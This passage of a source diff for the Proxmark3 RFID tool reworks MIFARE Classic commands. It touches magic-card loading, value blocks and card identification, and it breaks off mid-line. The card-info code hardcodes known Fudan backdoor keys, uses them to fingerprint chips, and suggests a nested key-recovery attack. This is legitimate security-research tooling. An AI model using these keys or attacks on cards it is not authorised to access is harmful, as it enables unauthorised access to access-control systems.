arg_get_int_def(ctx, 10, -1); + int start = arg_get_int_def(ctx, 10, 0); + int end = arg_get_int_def(ctx, 11, -1); CLIParserFree(ctx); @@ -8139,14 +8855,14 @@ static int CmdHF14AGen4Load(const char *cmd) { return PM3_EINVARG; } - if ((m0 + m1 + m2 + m4) > 1) { + if ((m0 + m1 + m2 + m4 + m1ev1) > 1) { PrintAndLogEx(WARNING, "Only specify one MIFARE Type"); return PM3_EINVARG; - } else if ((m0 + m1 + m2 + m4) == 0) { + } else if ((m0 + m1 + m2 + m4 + m1ev1) == 0) { m1 = true; } - char s[6]; + char s[8]; memset(s, 0, sizeof(s)); uint16_t block_cnt = MIFARE_1K_MAXBLOCK; if (m0) { @@ -8155,6 +8871,9 @@ static int CmdHF14AGen4Load(const char *cmd) { } else if (m1) { block_cnt = MIFARE_1K_MAXBLOCK; strncpy(s, "1K", 3); + } else if (m1ev1) { + block_cnt = MIFARE_1K_EV1_MAXBLOCK; + strncpy(s, "1K Ev1", 7); } else if (m2) { block_cnt = MIFARE_2K_MAXBLOCK; strncpy(s, "2K", 3); @@ -8206,7 +8925,7 @@ static int CmdHF14AGen4Load(const char *cmd) { if (fill_from_emulator) { data = calloc(block_cnt * MFBLOCK_SIZE, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -8233,16 +8952,13 @@ static int CmdHF14AGen4Load(const char *cmd) { } if (verbose) { - if (fnlen != 0) { - PrintAndLogEx(INFO, "File: " _YELLOW_("%s"), filename); - PrintAndLogEx(INFO, "File size %zu bytes, file blocks %d (0x%x)", bytes_read, block_cnt, block_cnt); - } else { + if (fnlen == 0) { PrintAndLogEx(INFO, "Read %d blocks from emulator memory", block_cnt); } } PrintAndLogEx(INFO, "Copying to magic gen4 GTU MIFARE Classic " _GREEN_("%s"), s); - PrintAndLogEx(INFO, "Starting block: %d. Ending block: %d.", start, end); + PrintAndLogEx(INFO, "Block... %d - %d", start, end); // copy to card for (uint16_t blockno = start; blockno <= end; blockno++) { @@ -8263,17 +8979,22 @@ static int CmdHF14AGen4Load(const char *cmd) { int res = mfG4SetBlock(pwd, blockno, data + (blockno * MFBLOCK_SIZE), flags); if (res != PM3_SUCCESS) { PrintAndLogEx(WARNING, "Can't set magic card block: %d. error=%d", blockno, res); - PrintAndLogEx(HINT, "Verify your card size, and try again or try another tag position"); + PrintAndLogEx(HINT, "Hint: Verify your card size and try again or try another tag position"); free(data); return PM3_ESOFT; } } PrintAndLogEx(NORMAL, "\n"); - if (data != NULL) free(data); + if (data != NULL) { + free(data); + } - PrintAndLogEx(SUCCESS, "Card loaded " _YELLOW_("%d") " blocks from %s", end - start + 1, - (fill_from_emulator ? "emulator memory" : "file")); + PrintAndLogEx(SUCCESS, + "Card loaded " _YELLOW_("%d") " blocks from %s" + , end - start + 1 + , (fill_from_emulator ? "emulator memory" : "file") + ); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -8406,7 +9127,7 @@ static int CmdHF14AGen4View(const char *Cmd) { uint16_t bytes = block_cnt * MFBLOCK_SIZE; uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -8419,7 +9140,7 @@ static int CmdHF14AGen4View(const char *Cmd) { int res = mfG4GetBlock(pwd, i, dump + (i * MFBLOCK_SIZE), flags); if (res != PM3_SUCCESS) { PrintAndLogEx(WARNING, "Can't get magic card block: %u. error=%d", i, res); - PrintAndLogEx(HINT, "Verify your card size, and try again or try another tag position"); + PrintAndLogEx(HINT, "Hint: Verify your card size and try again or try another tag position"); free(dump); return PM3_ESOFT; } @@ -8549,7 +9270,7 @@ static int CmdHF14AGen4Save(const char *Cmd) { uint16_t bytes = block_cnt * MFBLOCK_SIZE; uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -8569,7 +9290,7 @@ static int CmdHF14AGen4Save(const char *Cmd) { if (res != PM3_SUCCESS) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(WARNING, "Can't get magic card block: %u. error=%d", i, res); - PrintAndLogEx(HINT, "Verify your card size, and try again or try another tag position"); + PrintAndLogEx(HINT, "Hint: Verify your card size and try again or try another tag position"); free(dump); return PM3_ESOFT; } @@ -8596,7 +9317,7 @@ static int CmdHF14AGen4Save(const char *Cmd) { int cnt = 0; uint16_t bytes_left = bytes ; - // 12 is the size of the struct the fct mfEmlSetMem_xt uses to transfer to device + // 12 is the size of the struct the fct mf_eml_set_mem_xt uses to transfer to device uint16_t max_avail_blocks = ((PM3_CMD_DATA_SIZE - 12) / MFBLOCK_SIZE) * MFBLOCK_SIZE; while (bytes_left > 0 && cnt < block_cnt) { @@ -8608,7 +9329,7 @@ static int CmdHF14AGen4Save(const char *Cmd) { uint16_t chunk_size = MIN(max_avail_blocks, bytes_left); uint16_t blocks_to_send = chunk_size / MFBLOCK_SIZE; - if (mfEmlSetMem_xt(dump + offset, cnt, blocks_to_send, MFBLOCK_SIZE) != PM3_SUCCESS) { + if (mf_eml_set_mem_xt(dump + offset, cnt, blocks_to_send, MFBLOCK_SIZE) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "Can't set emulator mem at block: %3d", cnt); free(dump); return PM3_ESOFT; @@ -8820,7 +9541,7 @@ static int CmdHF14AGen4_GDM_Cfg(const char *Cmd) { SendCommandNG(CMD_HF_MIFARE_READBL_EX, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_READBL_EX, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } @@ -8901,13 +9622,13 @@ static int CmdHF14AGen4_GDM_SetCfg(const char *Cmd) { SendCommandNG(CMD_HF_MIFARE_WRITEBL_EX, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_WRITEBL_EX, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } if (resp.status == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); - PrintAndLogEx(HINT, "try `" _YELLOW_("hf mf gdmcfg") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mf gdmcfg") "` to verify"); } else { PrintAndLogEx(FAILED, "Write ( " _RED_("fail") " )"); } @@ -8984,13 +9705,13 @@ static int CmdHF14AGen4_GDM_SetBlk(const char *Cmd) { SendCommandNG(CMD_HF_MIFARE_G4_GDM_WRBL, (uint8_t *)&payload, sizeof(payload)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_MIFARE_G4_GDM_WRBL, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } if (resp.status == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); - PrintAndLogEx(HINT, "try `" _YELLOW_("hf mf rdbl") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mf rdbl") "` to verify"); } else if (resp.status == PM3_ETEAROFF) { PrintAndLogEx(INFO, "Tear off triggered"); return resp.status; @@ -9032,7 +9753,9 @@ static int CmdHF14AMfValue(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - uint8_t blockno = (uint8_t)arg_get_int_def(ctx, 13, 1); + int keylen = 0; + uint8_t key[6] = {0}; + CLIGetHexWithReturn(ctx, 1, key, &keylen); uint8_t keytype = MF_KEY_A; if (arg_get_lit(ctx, 2) && arg_get_lit(ctx, 3)) { @@ -9043,22 +9766,6 @@ static int CmdHF14AMfValue(const char *Cmd) { keytype = MF_KEY_B; } - uint8_t transferkeytype = MF_KEY_A; - if (arg_get_lit(ctx, 9) && arg_get_lit(ctx, 10)) { - CLIParserFree(ctx); - PrintAndLogEx(WARNING, "Choose one single transfer key type"); - return PM3_EINVARG; - } else if (arg_get_lit(ctx, 10)) { - transferkeytype = MF_KEY_B; - } - - int keylen = 0; - uint8_t key[6] = {0}; - CLIGetHexWithReturn(ctx, 1, key, &keylen); - - int transferkeylen = 0; - uint8_t transferkey[6] = {0}; - CLIGetHexWithReturn(ctx, 8, transferkey, &transferkeylen); /* Value /Value Value BLK /BLK BLK /BLK @@ -9073,11 +9780,29 @@ static int CmdHF14AMfValue(const char *Cmd) { int64_t decval = (int64_t)arg_get_u64_def(ctx, 5, -1); // Dec by -1 is invalid, so not set. int64_t setval = (int64_t)arg_get_u64_def(ctx, 6, 0x7FFFFFFFFFFFFFFF); // out of bounds (for int32) so not set int64_t trnval = (int64_t)arg_get_u64_def(ctx, 7, -1); // block to transfer to + + int transferkeylen = 0; + uint8_t transferkey[6] = {0}; + CLIGetHexWithReturn(ctx, 8, transferkey, &transferkeylen); + + uint8_t transferkeytype = MF_KEY_A; + if (arg_get_lit(ctx, 9) && arg_get_lit(ctx, 10)) { + CLIParserFree(ctx); + PrintAndLogEx(WARNING, "Choose one single transfer key type"); + return PM3_EINVARG; + } else if (arg_get_lit(ctx, 10)) { + transferkeytype = MF_KEY_B; + } + bool getval = arg_get_lit(ctx, 11); bool resval = arg_get_lit(ctx, 12); + + uint8_t blockno = (uint8_t)arg_get_int_def(ctx, 13, 1); + int dlen = 0; uint8_t data[16] = {0}; CLIGetHexWithReturn(ctx, 14, data, &dlen); + CLIParserFree(ctx); // sanity checks @@ -9203,7 +9928,11 @@ static int CmdHF14AMfValue(const char *Cmd) { } else { cmddata[10] = 0; - PrintAndLogEx(INFO, "Writing block no %u, key %c - %s", blockno, (keytype == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(key, sizeof(key))); + if (keytype < 2) { + PrintAndLogEx(INFO, "Writing block no %u, key type:%c - %s", blockno, (keytype == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(key, sizeof(key))); + } else { + PrintAndLogEx(INFO, "Writing block no %u, key type:%02x - %s", blockno, MIFARE_AUTH_KEYA + keytype, sprint_hex_inrow(key, sizeof(key))); + } } memcpy(cmddata + 11, block, sizeof(block)); @@ -9213,7 +9942,7 @@ static int CmdHF14AMfValue(const char *Cmd) { PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(FAILED, "Command execute timeout"); + PrintAndLogEx(FAILED, "command execution time out"); return PM3_ETIMEOUT; } isok = resp.oldarg[0] & 0xff; @@ -9238,7 +9967,7 @@ static int CmdHF14AMfValue(const char *Cmd) { PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(FAILED, "Command execute timeout"); + PrintAndLogEx(FAILED, "command execution time out"); return PM3_ETIMEOUT; } @@ -9264,12 +9993,12 @@ static int CmdHF14AMfValue(const char *Cmd) { // already have data from command line } else { if (trnval == -1) { - res = mfReadBlock(blockno, keytype, key, data); + res = mf_read_block(blockno, keytype, key, data); } else { if (mfSectorNum(trnval) != mfSectorNum(blockno)) - res = mfReadBlock(trnval, transferkeytype, transferkey, data); + res = mf_read_block(trnval, transferkeytype, transferkey, data); else - res = mfReadBlock(trnval, keytype, key, data); + res = mf_read_block(trnval, keytype, key, data); } } @@ -9395,8 +10124,8 @@ static int CmdHFMFHidEncode(const char *Cmd) { PrintAndLogEx(INFO, "Writing %u - %s", (i + 1), sprint_hex_inrow(blocks + (i * MFBLOCK_SIZE), MFBLOCK_SIZE)); } - if (mf_write_block(empty, MF_KEY_A, (i + 1), blocks + (i * MFBLOCK_SIZE)) == false) { - if (mf_write_block(empty, MF_KEY_B, (i + 1), blocks + (i * MFBLOCK_SIZE)) == false) { + if (mf_write_block((i + 1), MF_KEY_A, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { + if (mf_write_block((i + 1), MF_KEY_B, empty, blocks + (i * MFBLOCK_SIZE)) == PM3_EFAILED) { PrintAndLogEx(WARNING, "failed writing block %d using default empty key", (i + 1)); res = false; break; @@ -9457,16 +10186,17 @@ static int CmdHF14AMfInfo(const char *Cmd) { } if (keylen != 0 && keylen != MIFARE_KEY_SIZE) { - PrintAndLogEx(ERR, "Key length must be %u bytes", MIFARE_KEY_SIZE); + PrintAndLogEx(ERR, "Key length must be %u bytes, got %d", MIFARE_KEY_SIZE, keylen); return PM3_EINVARG; } clearCommandBuffer(); - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { PrintAndLogEx(DEBUG, "iso14443a card select timeout"); - return 0; + DropField(); + return PM3_ETIMEOUT; } iso14a_card_select_t card; @@ -9480,6 +10210,23 @@ static int CmdHF14AMfInfo(const char *Cmd) { */ uint64_t select_status = resp.oldarg[0]; + // try to request ATS even if tag claims not to support it. If yes => 4 + if (select_status == 2) { + uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 + clearCommandBuffer(); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, sizeof(rats)); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + memcpy(card.ats, resp.data.asBytes, resp.oldarg[0]); + card.ats_len = resp.oldarg[0]; // note: ats_len includes CRC Bytes + if (card.ats_len > 3) { + select_status = 4; + } + } + if (select_status == 0) { PrintAndLogEx(DEBUG, "iso14443a card select failed"); return select_status; @@ -9495,17 +10242,74 @@ static int CmdHF14AMfInfo(const char *Cmd) { } PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("ISO14443-a Information") " ---------------------"); + PrintAndLogEx(INFO, "--- " _CYAN_("ISO14443-a Information") " -----------------------------"); PrintAndLogEx(SUCCESS, " UID: " _GREEN_("%s"), sprint_hex(card.uid, card.uidlen)); PrintAndLogEx(SUCCESS, "ATQA: " _GREEN_("%02X %02X"), card.atqa[1], card.atqa[0]); PrintAndLogEx(SUCCESS, " SAK: " _GREEN_("%02X [%" PRIu64 "]"), card.sak, resp.oldarg[0]); - if (setDeviceDebugLevel(verbose ? DBG_INFO : DBG_NONE, false) != PM3_SUCCESS) { + + uint8_t ats_hist_pos = 0; + if ((card.ats_len > 3) && (card.ats[0] > 1)) { + ats_hist_pos = 2; + ats_hist_pos += (card.ats[1] & 0x10) == 0x10; + ats_hist_pos += (card.ats[1] & 0x20) == 0x20; + ats_hist_pos += (card.ats[1] & 0x40) == 0x40; + } + + version_hw_t version_hw = {0}; + // if 4b UID or NXP, try to get version + int res = hf14a_getversion_data(&card, select_status, &version_hw); + DropField(); + bool version_hw_available = (res == PM3_SUCCESS); + + int card_type = detect_nxp_card(card.sak + , ((card.atqa[1] << 8) + card.atqa[0]) + , select_status + , card.ats_len - ats_hist_pos + , card.ats + ats_hist_pos + , version_hw_available + , &version_hw + ); + + if ((card_type & MTDESFIRE) == MTDESFIRE) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "MIFARE DESFire detected"); + PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf mfdes info") "`"); + goto out; + } + + if ((card_type & MTULTRALIGHT) == MTULTRALIGHT) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "MIFARE Ultralight / NTAG detected"); + PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf mfu info") "`"); + goto out; + } + + if ((card_type & MTPLUS) == MTPLUS) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "MIFARE Plus detected"); + PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf mfp info") "`"); + } + + if ((card_type & MTEMV) == MTEMV) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "EMV detected"); + PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("emv info") "`"); + } + + if ((card_type & MTFUDAN) == MTFUDAN) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "FUDAN FM11RF005 detected"); + PrintAndLogEx(HINT, "Hint: try `" _YELLOW_("hf fudan dump") "`"); + goto out; + } + + if (setDeviceDebugLevel(verbose ? MAX(dbg_curr, DBG_INFO) : DBG_NONE, false) != PM3_SUCCESS) { return PM3_EFAILED; } uint8_t signature[32] = {0}; - int res = read_mfc_ev1_signature(signature); + res = read_mfc_ev1_signature(signature); if (res == PM3_SUCCESS) { mfc_ev1_print_signature(card.uid, card.uidlen, signature, sizeof(signature)); } @@ -9514,7 +10318,7 @@ static int CmdHF14AMfInfo(const char *Cmd) { PrintAndLogEx(INFO, "--- " _CYAN_("Keys Information")); uint8_t fkey[MIFARE_KEY_SIZE] = {0}; - uint8_t fKeyType = 0xff; + uint8_t fKeyType = 0xFF; uint64_t tmpkey = 0; mfc_algo_saflok_one(card.uid, 0, MF_KEY_A, &tmpkey); @@ -9536,14 +10340,15 @@ static int CmdHF14AMfInfo(const char *Cmd) { } uint8_t blockdata[MFBLOCK_SIZE] = {0}; - res = mfCheckKeys_fast(sectorsCnt, true, true, 1, keycnt, keyBlock, e_sector, false, verbose); + res = mf_check_keys_fast(sectorsCnt, true, true, 1, keycnt, keyBlock, e_sector, false, verbose); + // Identify Backdoor keyed cards if (res == PM3_SUCCESS || res == PM3_EPARTIAL) { if (e_sector[0].foundKey[MF_KEY_A]) { PrintAndLogEx(SUCCESS, "Sector 0 key A... " _GREEN_("%012" PRIX64), e_sector[0].Key[MF_KEY_A]); num_to_bytes(e_sector[0].Key[MF_KEY_A], MIFARE_KEY_SIZE, fkey); - if (mfReadBlock(0, MF_KEY_A, key, blockdata) == PM3_SUCCESS) { + if (mf_read_block(0, MF_KEY_A, fkey, blockdata) == PM3_SUCCESS) { fKeyType = MF_KEY_A; } } @@ -9553,7 +10358,7 @@ static int CmdHF14AMfInfo(const char *Cmd) { if (fKeyType == 0xFF) { num_to_bytes(e_sector[0].Key[MF_KEY_B], MIFARE_KEY_SIZE, fkey); - if (mfReadBlock(0, MF_KEY_B, key, blockdata) == PM3_SUCCESS) { + if (mf_read_block(0, MF_KEY_B, fkey, blockdata) == PM3_SUCCESS) { fKeyType = MF_KEY_B; } } @@ -9562,75 +10367,145 @@ static int CmdHF14AMfInfo(const char *Cmd) { if (e_sector[1].foundKey[MF_KEY_A]) { PrintAndLogEx(SUCCESS, "Sector 1 key A... " _GREEN_("%012" PRIX64), e_sector[1].Key[MF_KEY_A]); } + + if (e_sector[1].foundKey[MF_KEY_B]) { + PrintAndLogEx(SUCCESS, "Sector 1 key B... " _GREEN_("%012" PRIX64), e_sector[1].Key[MF_KEY_B]); + } } - uint8_t k08s[6] = {0xA3, 0x96, 0xEF, 0xA4, 0xE2, 0x4F}; - uint8_t k08[6] = {0xA3, 0x16, 0x67, 0xA8, 0xCE, 0xC1}; - uint8_t k32[6] = {0x51, 0x8B, 0x33, 0x54, 0xE7, 0x60}; - if (mfReadBlock(0, 4, k08s, blockdata) == PM3_SUCCESS) { + uint8_t k08s[MIFARE_KEY_SIZE] = {0xA3, 0x96, 0xEF, 0xA4, 0xE2, 0x4F}; + uint8_t k08[MIFARE_KEY_SIZE] = {0xA3, 0x16, 0x67, 0xA8, 0xCE, 0xC1}; + uint8_t k32n[MIFARE_KEY_SIZE] = {0x51, 0x8B, 0x33, 0x54, 0xE7, 0x60}; + uint8_t k32n2[MIFARE_KEY_SIZE] = {0x73, 0xB9, 0x83, 0x6C, 0xF1, 0x68}; + if (mf_read_block(0, 4, k08s, blockdata) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k08s, sizeof(k08s))); - fKeyType = MF_KEY_BD08S; - } else if (mfReadBlock(0, 4, k08, blockdata) == PM3_SUCCESS) { + fKeyType = MF_KEY_BD; + memcpy(fkey, k08s, sizeof(fkey)); + } else if (mf_read_block(0, 4, k08, blockdata) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k08, sizeof(k08))); - fKeyType = MF_KEY_BD08; - } else if (mfReadBlock(0, 4, k32, blockdata) == PM3_SUCCESS) { - PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k32, sizeof(k32))); - fKeyType = MF_KEY_BD32; + fKeyType = MF_KEY_BD; + memcpy(fkey, k08, sizeof(fkey)); + } else if (mf_read_block(0, 4, k32n, blockdata) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k32n, sizeof(k32n))); + fKeyType = MF_KEY_BD; + memcpy(fkey, k32n, sizeof(fkey)); + } else if (mf_read_block(0, 4, k32n2, blockdata) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "Backdoor key..... " _YELLOW_("%s"), sprint_hex_inrow(k32n2, sizeof(k32n2))); + fKeyType = MF_KEY_BD; + memcpy(fkey, k32n2, sizeof(fkey)); } + if ((fKeyType == MF_KEY_A) || (fKeyType == MF_KEY_B)) { + // we've a key but not a backdoor key + uint8_t blockdata2[MFBLOCK_SIZE] = {0}; + if (mf_read_block(0, fKeyType + 4, fkey, blockdata2) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "Backdoor key..... " _GREEN_("same as key A/B")); + } else if (detect_classic_auth(MF_KEY_BD)) { + PrintAndLogEx(SUCCESS, "Backdoor key..... " _RED_("detected but unknown!")); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mf nested --blk 0 -%s -k %s --tblk 0 --tc %i") "`" + , (fKeyType == MF_KEY_A) ? "a" : "b" + , sprint_hex_inrow(fkey, MIFARE_KEY_SIZE) + , fKeyType + 4 + ); + fKeyType = MF_KEY_BD; + } + } + + if (fKeyType != 0xFF) { - PrintAndLogEx(SUCCESS, "Block 0.......... %s", sprint_hex(blockdata, MFBLOCK_SIZE)); + PrintAndLogEx(SUCCESS, "Block 0.......... %s | " NOLF, sprint_hex_inrow(blockdata, MFBLOCK_SIZE)); + PrintAndLogEx(NORMAL, "%s", sprint_ascii(blockdata + 8, 8)); } PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Fingerprint")); + bool expect_static_enc_nonce = false; if (fKeyType != 0xFF) { // cards with known backdoor if (card.sak != 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { // backdoor might be present, or just a clone reusing Fudan MF data... PrintAndLogEx(SUCCESS, "Fudan based card"); - } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 - && (blockdata[8] == 0x03 || blockdata[8] == 0x04) && blockdata[15] == 0x90) { - PrintAndLogEx(SUCCESS, "Fudan FM11RF08S"); - } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x03\x00\x10", 4) == 0 + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && (blockdata[8] == 0x03 || blockdata[8] == 0x04 || blockdata[8] == 0x05) && blockdata[15] == 0x90) { + PrintAndLogEx(SUCCESS, "Fudan FM11RF08S %02X%02X", blockdata[8], blockdata[15]); + expect_static_enc_nonce = true; + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && (blockdata[8] == 0x03 || blockdata[8] == 0x04) && blockdata[15] == 0x91) { + PrintAndLogEx(SUCCESS, "Fudan FM11RF08 %02X%02X with advanced verification method", blockdata[8], blockdata[15]); + expect_static_enc_nonce = false; + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08s, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x03\x00\x10", 4) == 0 && blockdata[15] == 0x90) { - PrintAndLogEx(SUCCESS, "Fudan FM11RF08S-7B"); - } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + PrintAndLogEx(SUCCESS, "Fudan FM11RF08S-7B %02X%02X", blockdata[8], blockdata[15]); + expect_static_enc_nonce = true; + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 + && blockdata[15] == 0x98) { + PrintAndLogEx(SUCCESS, "Fudan FM11RF08S %02X%02X", blockdata[8], blockdata[15]); + expect_static_enc_nonce = true; + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x08\x04\x00", 3) == 0 && (blockdata[8] >= 0x01 && blockdata[8] <= 0x03) && blockdata[15] == 0x1D) { PrintAndLogEx(SUCCESS, "Fudan FM11RF08"); - } else if (card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { - PrintAndLogEx(SUCCESS, "Fudan FM11RF32"); - } else if (card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x00\x01\x00\x10", 4) == 0 + && blockdata[15] == 0x1D) { + PrintAndLogEx(SUCCESS, "Fudan FM11RF08-7B"); + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k32n, sizeof(fkey)) == 0 + && card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { + PrintAndLogEx(SUCCESS, "Fudan FM11RF32N"); + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k32n2, sizeof(fkey)) == 0 + && card.sak == 0x18 && memcmp(blockdata + 5, "\x18\x02\x00\x46\x44\x53\x37\x30\x56\x30\x31", 11) == 0) { + PrintAndLogEx(SUCCESS, "Fudan FM11RF32N (variant)"); + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x20 && memcmp(blockdata + 8, "\x62\x63\x64\x65\x66\x67\x68\x69", 8) == 0) { PrintAndLogEx(SUCCESS, "Fudan FM11RF32 (SAK=20)"); - } else if (card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x28 && ( + (memcmp(blockdata + 5, "\x28\x04\x00\x90\x10\x15\x01\x00\x00\x00\x00", 11) == 0) || + (memcmp(blockdata + 5, "\x28\x04\x00\x90\x11\x15\x01\x00\x00\x00\x00", 11) == 0))) { // Note: it also has ATS = // 10 78 80 90 02 20 90 00 00 00 00 00 + UID + CRC PrintAndLogEx(SUCCESS, "Fudan FM1208-10"); - } else if (card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x28 && memcmp(blockdata + 5, "\x28\x04\x00\x90\x53\xB7\x0C\x00\x00\x00\x00", 11) == 0) { + // Note: it also has ATS = + // 10 78 80 B0 02 20 90 00 00 00 00 00 + UID + CRC + PrintAndLogEx(SUCCESS, "Fudan FM1216-137"); + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x88 && memcmp(blockdata + 5, "\x88\x04\x00\x43", 4) == 0) { PrintAndLogEx(SUCCESS, "Infineon SLE66R35"); - } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x44", 4) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x44", 4) == 0) { PrintAndLogEx(SUCCESS, "NXP MF1ICS5003"); - } else if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x45", 4) == 0) { + } else if (fKeyType == MF_KEY_BD && memcmp(fkey, k08, sizeof(fkey)) == 0 + && card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x45", 4) == 0) { PrintAndLogEx(SUCCESS, "NXP MF1ICS5004"); - } else if (fKeyType == MF_KEY_BD08 || fKeyType == MF_KEY_BD08S || fKeyType == MF_KEY_BD32) { - PrintAndLogEx(SUCCESS, _RED_("Unknown card with backdoor, please report details!")); - } - // other cards - if (card.sak == 0x08 && memcmp(blockdata + 5, "\x88\x04\x00\x46", 4) == 0) { - PrintAndLogEx(SUCCESS, "NXP MF1ICS5005"); - } else if (card.sak == 0x08 && memcmp(blockdata + 5, 